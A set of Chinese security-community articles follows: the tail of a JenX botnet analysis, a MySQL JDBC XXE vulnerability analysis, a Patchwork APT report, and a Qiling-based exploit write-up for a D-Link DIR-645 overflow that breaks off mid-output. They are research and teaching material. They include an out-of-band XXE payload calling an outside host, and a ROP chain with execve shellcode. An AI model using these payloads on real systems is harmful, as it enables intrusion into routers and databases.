如果没有扫描和漏洞利用Payload的话，bot代码本身会变得非常简单，而且体积也会很小（易于传播）。与此同时，“中心化”的扫描和漏洞利用功能可以给维护人员更加方便地增添或更新功能模块。而且这些功能都可以使用类似Python或Go这种更高级的语言来开发，因为这些语言的模块和代码库生态系统比较丰富，而且现成的东西也很多。但如果涉及到扫描功能和漏洞利用功能的话，还是需要使用C语言或者其他的编译语言来实现。
研究人员表示，如果无法访问命令控制服务器的话，那么这种“中心化”的结构会让研究人员难以估计这个僵尸网络的规模大小。除此之外，跟分布式的僵尸网络相比，JenX的缺点就是感染主机数量增长得比较慢，甚至比线性增长速度还要慢。
下图显示的是其中一台托管了Realtek漏洞利用代码的服务器状态信息：
## 恶意软件分析
运行之后，Jennifer代码将会启用三个进程，并在退出之前将下列信息写入到终端：
跟Mirai一样，这三个进程名称经过了混淆处理，而且恶意软件还采用了一些反调试检测方法来防止恶意代码在调试器中被分析。进程信息以及相对应的端口+协议如下所示：
代码中经过混淆处理的字符串如下所示：
为了在不需要进行逆向分析的情况下，找到混淆算法和密钥，我们准备从上面这个有58个字符的字符串入手，具体请参考下图所示的C语言伪代码：
使用Python进行一些非常基本的密码学分析之后，我们发现这里的混淆算法其实就是简单的异或计算（固定密钥为0x45）：
因此，反混淆处理之后的字符串明文信息如下所示：
但现在的问题是怎么才能得到IP地址80.82.70.202背后的C2服务器主机名，我们所得到的僵尸网络属性信息如下：
包含了主机名的字符串可以从下图所示的伪代码中获取到：
这里使用之前得到的0x45固定密钥并不能计算出我们所期望的结果，但是经过暴力破解攻击之后我们发现密钥0x22可以计算出C2服务器的主机名，即‘skids.sancalvicie.com’：
验证主机名：
由此可以看出，这个域名是一个名叫‘Calvos S.L.’的组织注册的。
## C2协议
在运行过程中，恶意软件会跟硬编码的C2服务器建立TCP会话（端口127，主机名为‘skids.sancalvicie.com’），然后向命令行发送二进制初始序列“0x00
0x00 0x00 0x01
0x07”以及相应参数来运行恶意代码。在“Realtek漏洞利用”场景下，相应参数就是“realtek”了。下图显示的是bot跟C2服务器之间的TCP会话信息（红色部分为bot）：
C2服务器端同样提供了命令行接口，并且同样监听的是端口127。当会话成功建立后的出事字节不是0x00时，服务器会要求输出登录凭证：
## 总结
目前为止，两个欧洲地区的服务器提供商已经下线了托管在他们数据中心的漏洞利用服务器，但是该恶意软件其他的服务器仍处于活动中。因此，这个僵尸网络仍在运作中，部分服务器的下线只会影响它的规模扩张速度而已。
由于JenX选择使用中心化的主机扫描以及漏洞利用模式，因此攻击者的灵活性将大大提升。如果服务器被转移到了暗网中的话，我们就更难去追踪JenX攻击者的活动行踪了。在去年，我们只发现了BrickerBot这一种采用了跟JenX相似技术的僵尸网络，但这有可能是物联网僵尸网络的一种发展趋势，所以我们今后可能会看到越来越多的僵尸网络采用这种技术。 | 社区文章 |
### 漏洞介绍
JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。
影响版本: `< MySQL JDBC 8.0.27`
### 补丁定位
通告中说到漏洞是出现在驱动8.0.27之前的版本，我们就可以下载8.0.26和8.0.27两个版本的驱动，然后再用工具来对比两个代码的不同之处。
驱动下载地址：<https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java-8.0.26.zip>
说到是XXE漏洞，就可以快速定位到解析XML的关键代码处：
src\main\user-impl\java\com\mysql\cj\jdbc\MysqlSQLXML.java
可以看到代码多处调用setFeature方法来预防XXE漏洞，具体预防可以看这篇文章：<https://blog.csdn.net/scmrpu/article/details/50423701>
### 漏洞分析
通过前面的补丁定位，发现漏洞出在了getSource方法中，之后的代码我就会在8.0.26中进行分析，看看漏洞是如何造成的。
首先看到getSource方法中：
public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
checkClosed();
checkWorkingWithResult();
if (clazz == null || clazz.equals(SAXSource.class)) {
} else if (clazz.equals(DOMSource.class)) {
} else if (clazz.equals(StreamSource.class)) {
} else if (clazz.equals(StAXSource.class)) {
} else {
throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),
MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
}
}
这里我删掉了关键功能，留了一个大致逻辑。因此读者能简单的看出该功能方法中就是判断clazz类属于哪一种Source源，来根据其具体情况做出反应。
但是在代码的DOMSource处理逻辑中，使用了DocumentBuilder.parse方法直接解析XML内容
if (clazz.equals(DOMSource.class)) {
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return (T) new DOMSource(builder.parse(inputSource)); //sink
} catch (Throwable t) {
SQLException sqlEx = SQLError.createSQLException(t.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, t, this.exceptionInterceptor);
throw sqlEx;
}
}
这里解析了inputSource的内容，接着看inputSource是如何传入进来的：
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
这里的this.fromResultSet不出意外，基本上是false的状态，因此传入的内容就由this.stringRep控制。
而该变量是由setString方法传入
@Override
public synchronized void setString(String str) throws SQLException {
checkClosed();
checkWorkingWithResult();
this.stringRep = str;
this.fromResultSet = false;
}
### SQLXML
简单来说就是可供程序员通过调用ResultSet、CallableStatement 和 PreparedStatement 接口中的方法（例如
getSQLXML）来访问 XML 值。
SQLXML sqlxml = resultSet.getSQLXML(column);
同时，由于程序可能通过SQLXML的方法，来快速获取/设置xml中的某些值(如Username、Password等标签内容)，可以使用sqlxml.getSource的方式获取对应的Source/Result对象。
DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();
DOMResult domResult = sqlxml.setResult(DOMResult.class);
domResult.setNode(myNode);
### 漏洞利用
Statement statement = connection.createStatement();
statement.execute("select * from login_xml");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("passwd");
DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();
}
首先将恶意的xml代码写入数据库
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog.com">
%remote;]>
<root/>
之后运行测试代码，触发漏洞。
### Reference
[1].<https://docs.oracle.com/javase/8/docs/api/java/sql/SQLXML.html>
[2].<https://github.com/h2database/h2database/issues/3195> | 社区文章 |
**作者：知道创宇404实验室APT高级威胁情报团队，K &Nan**
## **1\. 概述**
Patchwork是自2015年12月以来一直活跃的南亚APT组织。该组织长期针对中国、巴基斯坦等南亚地区国家的政府、医疗、科研等领域进行网络攻击窃密活动。PatchWorkAPT是一个比较有意思的名字，源于该组织武器库是基于开源的代码拼凑而成(地下论坛、暗网、github等等)。知道创宇404实验室APT高级威胁情报团队长期对该组织的活动进行追踪。
近日，知道创宇404实验室APT高级威胁情报团队在追踪过程中发现该组织在近期针对国内的攻击活动应用了跟以往不同的攻击工具。
1.Patchinfecter木马，该木马遍历机器上最近打开的文档，并注入恶意代码，如果受害者将文档共享给其他人，那么该受控机器的其他联系人也会成为新的受控者。跟常见的钓鱼文档不同，此种感染白文件的方式，完全可以造成一个身份受信任的人不通过邮件方式将恶意文件传给其他人的情况，那么会极大的提高恶意文档的点开率。根据其特性，知道创宇404实验室APT高级威胁情报团队将其命名为Patchinfecter木马。
2.Infectedloader，该文件为Patchinfecter木马生成的恶意文档，利用CVE-2021-40444漏洞进行后续木马传播，CVE-2021-40444为微软MHTML远程命令执行漏洞，攻击者可通过传播Microsoft
Office文档，诱导目标点击文档从而在目标机器上执行任意代码，在受控机器上植入后续木马。此次为公开报道中首次发现有南亚APT组织使用该漏洞进行攻击。
## **2\. 技术分析**
攻击流程如下：
**关于Patchinfecter木马**
**Patchinfecter**
为本次攻击感染链当中一步操作，其功能在执行时通过遍历C:\Users\xxxx\AppData\Roaming\Microsoft\Windows\Recent\目录下的快捷方式文件，搜索文件名包含.docx的快捷方式。
通过COM接口IPersistFile::GetPath来获取快捷方式文件对应的docx文件路径，将文件拷贝至%Temp%\DCX_tmp\目录下，然后将文件解zip包，向其中的document.xml.rels配置文件中注入远程模板链接<hxxp://xxx.xxx.xxx.xxx/jiansurvey/formupdate8976.php>，然后将文档重新打包并替换原始文件。
formupdate8976.php页面内置一段JS脚本，脚本内容为CVE-2021-40444漏洞利用代码，用于加载执行二阶程序<http://xxx.xxx.xxx.xxx/jiansurvey/cajview393434logo.cab>。
### **关于cajview393434logo.cab**
cajview393434logo.cab为上述CVE-2021-40444漏洞利用的二阶样本，cab文件内的logoinmg.inf为一个下载器从<http://xxx.xxx.xxx.xxx/srvreport/cajxml>下载三阶样本。
### **关于Cajxml(GRAT2)**
该文件数据经过Base64加密，经过解密分析最终的三阶样本为开源远控GRAT2.
样本会强制使用HTTPS（TLS1.2）,当C&C为Http时则会退出。样本运行首先随机生成一个长度为12字节的ClientID，ClientID生成方式为从A-Z0-9范围随机选取12个字母或数字，生成ClientID后尝试将ClientID发送到初始URL
"<https://xxx.xxx.xxx.xxx/jquery.js>" Post，数据加密方式为XOR(KEY: "o")+Base64。
向服务端初始化完客户端ID后，客户端尝试从服务端获取下发指令，从特定URL路径获取指令在本例中为：
{"index.aspx","question","contactus","aboutus.aspx"}
获取指令完整请求为：
[https://C&C/PATH?encode(ClientID)](https://C&C/PATH?encode\(ClientID\)
"https://C&C/PATH?encode\(ClientID\)")
程序主入口：
根据服务端下发的指令完成对应功能，指令列表如下：
**命令** | **功能**
---|---
**no3ko5p** | 获取当前屏幕截图
**dworden** | 文件下载
**yuwpkli2o** | 文件上传
**detgc3wrd9r** | 设置当前工作目录的路径
**twmdsce** | 设置睡眠时间
**dwsesst** | 客户端退出
**s7wehrr52ll** | 执行Shell命令
**gqer313dcdr** | 获取当前工作绝对路径
**gierlstwf32** | 获取文件夹下文件信心
**dqoirelst23** | 获取当前进程ID
## **3.** **IOC**
d41a9a2c1c7aa3d0added2d00e5359f5c6b0ffb9dd977c40c89b469f70334130--Patchinfecter
2460ba1be9189210023ad8b0d42120bde22daf439c022a6f5d0cd54ccef2c5ec -- JS脚本文件
739fd36d15c1f22a4be251714b220d708e620c144b7ba43ad1e2ac1915b4d727 -- EnBase64
RAT
010df75e045b1be5f2a579a534b3f85248f0f3d57cc2e961a48e629351c7ee4a -- RAT
5c48fb21f8de55517c3e3b7a4b198c3a7bffc8412ed877785b60039823f9f4f7 -- CAB文件
* * * | 社区文章 |
# 使用Qiling分析Dlink DIR-645中的缓冲区溢出(part II)
原文链接:<https://github.com/nahueldsanchez/blogpost_qiling_dlink_2>
## 介绍
在研究学习使用`qiling`
框架对路由器固件进行分析的过程中，在先知发现了有前辈搬运并翻译了这篇文章的[第一部分](https://xz.aliyun.com/t/8156)，第二部分个人感觉也是很精彩，尝试翻译一下。
## 目录
1. 构造exp
2. 使系统调用能够“工作”
3. 构造能够在`qiling`框架下工作的exp
* 了解MIPS调用约定的工作原理
* 使用ROP构造exp
4. 参考资料
# 构造exp
通过阅读[第一部分](https://xz.aliyun.com/t/8156)，我们在之前的步骤中确定了漏洞的位置，如何去触发这个漏洞以及造成他的根本原因，我们基于之前的工作，知道了程序
将会在 `0x0040c594` 这个地址触发崩溃，既函数`hedwig_main` :
...
0040c58c c4 04 b1 8f lw s1,param_12(sp)
0040c590 c0 04 b0 8f lw s0,param_11(sp)
0040c594 08 00 e0 03 jr ra
...
我们也知道我们要覆盖堆栈中的很多内存，并且我们控制了大量的寄存器：
...
[-] s0 : 0x41414141
[-] s1 : 0x41414141
[-] s2 : 0x41414141
[-] s3 : 0x41414141
[-] s4 : 0x41414141
[-] s5 : 0x41414141
[-] s6 : 0x41414141
[-] s7 : 0x41414141
[-] t8 : 0x8
[-] t9 : 0x0
[-] k0 : 0x0
[-] k1 : 0x0
[-] gp : 0x43b6d0
[-] sp : 0x7ff3c608
[-] s8 : 0x41414141
[-] ra : 0x41414141
[-] status : 0x0
[-] lo : 0x0
[-] hi : 0x0
[-] badvaddr : 0x0
[-] cause : 0x0
[-] pc : 0x41414140
...
考虑到这种情况，我的想法是用`system`函数的地址覆盖返回地址，然后根据需要设置参数。我知道这是有用的，因为Metasploit中包含的exp就是如此。
为了检验我的假设，第一步，我决定摆脱所有复杂性并模拟( _simulate_ )这个攻击过程。我的想法是分配一些内存，把我们要执行的命令写在这里，然后通过
改变返回地址指向到 `system`函数以及把写有命令的内存地址加载到执行`system`函数所需的寄存器中。
听起来有很大的工作量，让我们来测试一下:
...
RETURN_CORRUPTED_STACK = 0x0040c594 # 在上一篇文章中通过开启调试连接到gdb获得的初始化断点
QILING_SYSTEM = 0x0041eb50 # x/10i system 获得 system function addr
def simulate_exploitation(ql):
ql.nprint("** at simulate_exploitation **")
cmd = ql.mem.map_anywhere(20) # Qiling 分配20字节的块给我们并返回其地址
# 我们把我们的命令写在这里
ql.mem.string(command, "/bin/sh") # We write our string
ql.reg.a0 = command # 把 register a0 设置为我们命令的地址
ql.reg.ra = QILING_SYSTEM # 最后修改 $ra register
...
ql.hook_address(simulate_exploit, RETURN_CORRUPTED_STACK) # 当运行到ret的时候回调到 hedwig_main
ql.run()
正如你将看到的，模拟这个过程非常简单，让我们看看发生了什么:
...
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_wait4 DEBUG: [Errno 10] No child processes
ChildProcessError: [Errno 10] No child processes
...
看起来好像生效了，但感觉这里发生了什么问题。我想是当我们要执行到`system`函数的某些时刻，`system`尝试调用`fork
syscall`，但这种方式是`qiling`不支持的。
为了验证我的想法我做了两件事:第一，我给
`system`设置了一个断点，检查是否在某个时刻触发了这个断点；其次，为了更好的展示，我修改了`system`函数执行的命令为`exit`，让我们看一下又发生了什么:
def simulate_exploitation(ql):
...
ql.reg.ra = QILING_EXIT # 最后修改 $ra register
运行这个poc:
...
** at simulate_exploitation **
write(1,7756d038,114) = 0
HTTP/1.1 200 OK
Content-Type: text/xml
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>exit(4431872) = 4431872
...
好多了！如我们所见，程序通过调用正常退出`exit()`。我们可以肯定，利用漏洞的想法是可行的！让我们努力将模拟的转换为真实的东西。
# 使系统调用能够“工作”
在阅读我在上一步中所做的工作时，我发现我直接利用`exit`当shellcode是一个很偷懒的行为。我应该更加努力地尝试第一个想法去调用系统函数。基于此，我将更深入地研究如何进行这项工作。
我的第一个想法是检查为什么收到此错误：
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
我查看了syscall 0xfa2的类型，发现 _syscall 0xfa2_ 是[fork](https://man7.org/linux/man-pages/man2/fork.2.html)。有了这些信息，我使用了[Qiling的扩展系统调用的能力，](https://docs.qiling.io/en/latest/hijack/#qlset_syscall)如下所示：
MIPS_FORK_SYSCALL = 0xfa2
...
# Code copied from lib/qiling/os/posix/syscall/unistd.py:380
def hook_fork(ql, *args, **kw):
pid = os.fork()
if pid == 0:
ql.os.child_processes = True
ql.dprint (0, "[+] vfork(): is this a child process: %r" % (ql.os.child_processes))
regreturn = 0
if ql.os.thread_management != None:
ql.os.thread_management.cur_thread.set_thread_log_file(ql.log_dir)
else:
if ql.log_split:
_logger = ql.log_file_fd
_logger = ql_setup_logging_file(ql.output, ql.log_file , _logger)
_logger_name = str(len(logging.root.manager.loggerDict))
_logger = ql_setup_logging_file(ql.output, '_'.join((ql.log_file, _logger_name)))
ql.log_file_fd = _logger
else:
regreturn = pid
if ql.os.thread_management != None:
ql.emu_stop()
...
ql.set_syscall(MIPS_FORK_SYSCALL, hook_fork)
我将`fork`的实现作为一个测试，但它的效果特别棒！
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
vfork() = 24076
vfork() = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_execve DEBUG: Invalid memory read (UC_ERR_READ_UNMAPPED)
Traceback (most recent call last):
File "emulate_cgibin.py", line 143, in <module>
我们可以看到我们的函数的输出，更重要的是我们可以看到
从`execve`这个系统调用中返回的错误信息，让我们得知最后`execve`是被调用了的，证明了`system`函数是被执行了的。为了修复这个错误，我通过
[Qiling's magic](https://docs.qiling.io/en/latest/hijack/#on-enter-interceptor-with-qlset_syscall) 劫持了 `execve`系统调用，并正确设置了寄存器以使调用正常进行：
MIPS_EXECVE_SYSCALL = 0xfab
...
def execve_onenter(ql, pathname, argv, envp, *args):
ql.nprint("at execve_onenter")
ql.reg.a1 = 0
ql.reg.a2 = 0
ql.nprint(ql.mem.string(pathname))
ql.nprint(ql.mem.string(argv))
...
ql.set_syscall(MIPS_EXECVE_SYSCALL, execve_onenter, QL_INTERCEPT.ENTER)
输出:
...
vfork() = 24229
vfork() = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
at execve_onenter
/bin/sh
PdUwTdUw
execve(/bin/sh, [], [])
ioctl(0x0, 0x540d, 0x7ff3c5b0) = -1
ioctl(0x1, 0x540d, 0x7ff3c5b0) = -1
[!] Emulation Error
...
YES! 我们看到了 `execve`系统调用我们的命令后的输出，现在让我们看看怎么让它不需要模拟在真实环境正常工作。
回到我们的主要主题，让我们快速回顾一下代码容易受到攻击的地方：
在`hedgiwcgi_main`函数中， 感谢Ghidra让我们能够去反汇编这段代码，我只把有用的部分拷贝出来。
...
sess_get_uid(iVar1);
uVar2 = sobj_get_string(iVar1);
sprintf(acStack1064,"%s/%s/postxml","/runtime/session",uVar2);
...
首先，代码处理我们的请求并获得UID，然后在`sprintf`语句中使用UID来构建存储在堆栈中的路径。当我们控制UID时，我们可以覆盖堆栈并最终覆盖保存的返回地址。Ghidra可以帮助我们告诉我们
`acStack1064` 是什么类型，检查反编译的代码，就会在`hedwigcgi_main`开始时发现：
char acStack1064 [ 1024 ];
我们知道，至少需要1024个字节来填充此变量，然后加上 X个byte 使得我们能够覆盖返回地址，这里有几种计算方法：
* 通过一段循环pattern，来确定哪一部分覆盖了$ra （gdb create_pattern ）
* 另一个选择是检查 当返回地址改为`0x0040c568` 的时候，我们可以看到它是从哪个内存地址读取的：
...
0040c568 e4 04 bf 8f lw ra,param_20(sp) -> Stack[0x4e4]
...
我们可以通过使用gdb来获得这些信息，在调用`sprintf`之后设置一个断点并做一下简单的数学运算：
* 我们知道我们的目标缓冲区位于`0x7ff3c1e0`
* 我们知道我们保存的返回地址位于 `0x7ff3c604` ($sp+0x4e4)
* 0x7ff3c604-0x7ff3c1e0 = 1060 bytes 但我们必须考虑固定字符串, len(/runtime/session/) -> 17（/runtime/session/是发送的固定字符串 在hedgiwcgi_main 的代码那里可以看到）
这使我们总共有1043个字节。让我们测试一下。我们通过
1043个A来填满变量，通过BBBB覆盖返回地址。我在指令恢复到$ra寄存器之后返回之前设置了一个断点。
...
buffer = "uid=%s" % ("A" * 1043)
buffer += "BBBB"
required_env = {
"REQUEST_METHOD": "POST",
"HTTP_COOKIE" : buffer
}
ql = Qiling(path, rootfs, output = "none", env=required_env)
...
输出：
...
0x40c568 <hedwigcgi_main+1448> lw ra, 1252(sp)
→ 0x40c56c <hedwigcgi_main+1452> move v0, s7
...
Breakpoint 1, 0x0040c568 in hedwigcgi_main ()
...
$pc : 0x0040c56c
$sp : 0x7ff3c4e8
$hi : 0x0
$lo : 0x0
$fir : 0x0
$ra : 0x42424242 ("BBBB"?)
...
是有效的！我们现在知道了可以用1043个byte去覆盖返回地址，我们可以在这1043个byte中去存储我们的shellcode 比如说
存储`execve("/bin/sh")`然后跳转到这里。我先假设堆栈中的代码是可执行的(没有
NX保护位)；做出这个假设是基于我对这些廉价路由器(emmmmmm)的了解以及[Metasploit](https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb)也是这样做的。
# 构造能够在`qiling`框架下工作的exp
解决了上述问题后，我开始着手编写可在Qiling仿真环境中运行的漏洞利用程序。其背后的目标是：
* 了解更多关于MIPS的漏洞利用(在写博客之前我对它几乎完全不了解。)
* 继续学习Qiling
* Have fun ..
虽然我花了不少时间来完成这项工作，但我发现做这项工作有巨大的价值，让我学到了新东西，并进行了一些非常好的实践训练。
我开始在 [](https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt)[Pedro Ribeiro's
advisory](https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt)针对具有相似特征的其他CVE研究我的想法。
我想到的计划是：
1. 利用漏洞并覆盖返回地址
2. 一旦能够控制程序的执行流，就可以重定向执行，执行Sleep以模拟在MIPS上执行的操作来确定exp是否可靠并处理缓存不一致性。
3. 在堆栈中找到我的shellcode
4. 重定向执行
### 了解MIPS调用约定的工作原理
完成第一步后，我决定做一个我认为是快速的测试：直接覆盖返回地址为 `sleep`函数的地址，并设置模拟漏洞利用所需的参数：
通过gdb `info functions <function name>` 来确定`Sleep`函数的地址，，但是返回的是映射到`cgi-bin`二进制文件中的函数的地址，而不是`libuClibc.so`库中的实际地址。
为了找到正确的地址，我按照下步骤操作：
1. 我检查了这些代码行加载`libuClibc`到哪个地址
def simulate_exploit(ql):
import pdb
pdb.set_trace()
...
运行程序并进入PDB提供的Python shell后 ，使用`ql.mem.show_mapinfo()`得到了:
...
[+] 774fc000 - 7755a000 - rwx [mmap] ../lib/libuClibc-0.9.30.1.so
[+] 7755a000 - 77569000 - rwx [syscall_mmap]
[+] 77569000 - 7756b000 - rwx [mmap] ../libuClibc-0.9.30.1.so
...
现在我们知道了我们的库加载到了`0x774fc000`
1. 通过Ghidra打开 `libuClibc-0.9.30.1.so` ，找到了`Sleep`函数的偏移。
uint __stdcall sleep(uint __seconds)
00066bd0 02 00 1c 3c lui gp,0x2
...
我得到了偏移
`0x00066bd0`,然后我认为通过基础地址+偏移就可以得到函数的真实地址，但是经过反复试验并使用GDB检查其他函数地址后，我发现我需要减去0x10000，然后设计出了以下代码:
def calc_address(addr_offset):
LIBC_BASE = 0x774fc000
return LIBC_BASE + addr_offset - 0x10000
`sleep` 函数在此特定的lib中将位于 `0x77552bd0` ，有了这个地址我就尝试通过覆盖$ra寄存器来模拟漏洞利用。
def simulate_exploit(ql):
ql.nprint("** at simulate_exploitation **")
ql.reg.a0 = 1 # Seconds to sleep
ql.reg.ra = 0x77552bd0 # sleep uClibc
...
**这次尝试惨遭失败** ，让我困惑了好几天，直到我发现如下博客:
* [Firmware Exploitation with JEB: Part 1](https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/)
* [MIPS ROP by haskal](https://www.lorem.club/~/[email protected]/mips-rop)
这两篇文章都解释了MIPS的工作原理（我在此进行了总结），一旦调用了函数就不能只将重写`$ra`为`$t9`
,`$gp`寄存器也被使用了来计算内容，所以你需要在$t9寄存器中被调用函数的地址。
有了这些信息，我对上面的函数做了些微修改，以更改`$t9`寄存器，这次测试可以正常进行：
...
ioctl(0x3, 0x540d, 0x7ff3c358) = -1
** at simulate_exploitation **
rt_sigprocmask(0x1, 0x7ff3c778, 0x7ff3c7f8, 0x10) = 0
nanosleep(0x7ff3c770, 0x7ff3c770) = 0 <--- Sleep 被执行了
...
### 使用ROP构造exp
测试成功后，我决定探索如何构建我认为可靠的利用脚本。为了做到这一点，我尽量避免修复uClibc以外的地址，并使用ROP。
为了能够做到这一点，我需要不同的ROP gadgets来执行前面提到的步骤。为了找到它们，我进行了一些（缓慢而痛苦的）的工作，并用
[devtty0的Ghidra脚本](https://github.com/tacnetsol/ghidra_scripts/).对其进行了补充。
_注意：这些脚本存在一些问题，例如误报或无效的gadget。因此，我不得不通过一些手动搜索来补充工作。_
为了能够将我的shellcode放入环境变量中，`HTTP_COOKIE`我不得不对Qiling的代码进行一些修改以使其可以接受`bytes`以及`strings`：
_注意：代码已经在那儿了，我不得不取消注释。_
* [Qiling's copy_str](https://github.com/qilingframework/qiling/blob/master/qiling/loader/elf.py#L123) function:
def copy_str(self, addr, l):
l_addr = []
s_addr = addr
for i in l:
s_addr = s_addr - len(i) - 1
if isinstance(i, bytes):
self.ql.mem.write(s_addr, i + b'\x00')
else:
self.ql.mem.write(s_addr, i.encode() + b'\x00')
l_addr.append(s_addr)
return l_addr, s_addr
我需要的第一个gadget是执行sleep，同时在$a0中有一个相当小的值，它作为sleep睡眠几秒的参数，而且这个gadget需要允许我保持对执行流的控制。我发现了如下的一个gadget:
#Gadget 1 (calls sleep(3) and jumps to $s5)
#
# 0003bc94 03 00 04 24 li a0,0x3 ; Argument for sleep
# 0003bc98 21 c8 c0 03 move t9,s8 ; s8 points to sleep()
# 0003bc9c 09 f8 20 03 jalr t9
# 0003bca0 21 30 00 00 _clear a2
# 0003bca4 21 28 80 02 move a1,s4
# 0003bca8 0e 00 04 24 li a0,0xe
# 0003bcac 21 c8 a0 02 move t9,s5 ; Address of Gadget #2
# 0003bcb0 09 f8 20 03 jalr t9
# 0003bcb4 21 30 00 00 _clear a2
第二个（地址必须在$s5中）必须调整堆栈指针$sp以进入我的shellcode，并将其值放入寄存器：
# Gadget 2 (Adjusts $sp and puts stack addess in $s1)
#
# 0004dcb4 28 00 b1 27 addiu s1,sp,0x28
# 0004dcb8 21 20 60 02 move a0,s3
# 0004dcbc 21 28 20 02 move a1,s1
# 0004dcc0 21 c8 00 02 move t9,s0
# 0004dcc4 09 f8 20 03 jalr t9
# 0004dcc8 01 00 06 24 _li __name,0x1
在这个gadget被执行后，我让寄存器$s1指向堆栈中的代码，并且可以控制执行流来控制$s0寄存器的值。幸运的是，如果你记得的话，在博客文章的开始我们就控制了它。最后一个小工具必须执行$t9引用的代码：
# Gadget 3 (jumps to $s1 -> Stack)
# 0001bb44 21 c8 20 02 move t9,s1
# 0001bb48 09 f8 20 03 jalr t9
# 0001bb4c 03 00 04 24 _li __size,0x3
一旦有了所需的gadget，就需要我们要执行的shellcode `execve(/bin/sh)`，我找到[Firmware exploitation
with JEB: Part 2blogpost](https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/):这篇博客中使用的
# execve shellcode translated from MIPS to MIPSEL
# http://shell-storm.org/shellcode/files/shellcode-792.php
# Taken from: https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404\
在这篇博客中我也找到了一个有用的nop sled,我也使用上了
# MIPS nopsled from https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/
buffer += b"\x26\x40\x08\x01" * 30 + shellcode
# ###########
完成所有步骤后，我唯一要做的就是使用以下结构构造我们最终的payload:
...
buffer = b"uid=%s" % (b"B" * 1003)
buffer += b"AAAA"
#buffer += b"0000"
buffer += pack("<I", calc_address(0x0001bb44)) #Gadget #3
buffer += b"1111" #$s1
buffer += b"2222" #$s2
buffer += b"1111" #$s3
buffer += b"4444" #$s4
#buffer += b"5555"
buffer += pack("<I", calc_address(0x0004dcb4)) #Gadget #2
buffer += b"6666" #$s6
buffer += b"7777" #$s7
#buffer += b"8888"
buffer += pack("<I", 0x77552bd0) # Sleep address
buffer += pack("<I", 0x77527c94) # Overwrites $ra with #Gadget #1
buffer += b"\x26\x40\x08\x01" * 30 + shellcode
来看一下输出:
...
** At [sess_get_uid] **
** Ret from sobj_add_string **
socket(1, 1, 0) = 3
fcntl(3, 2) = 0
connect(../squashfs-root/var/run/xmldb_sock) = -1
close(3) = 0
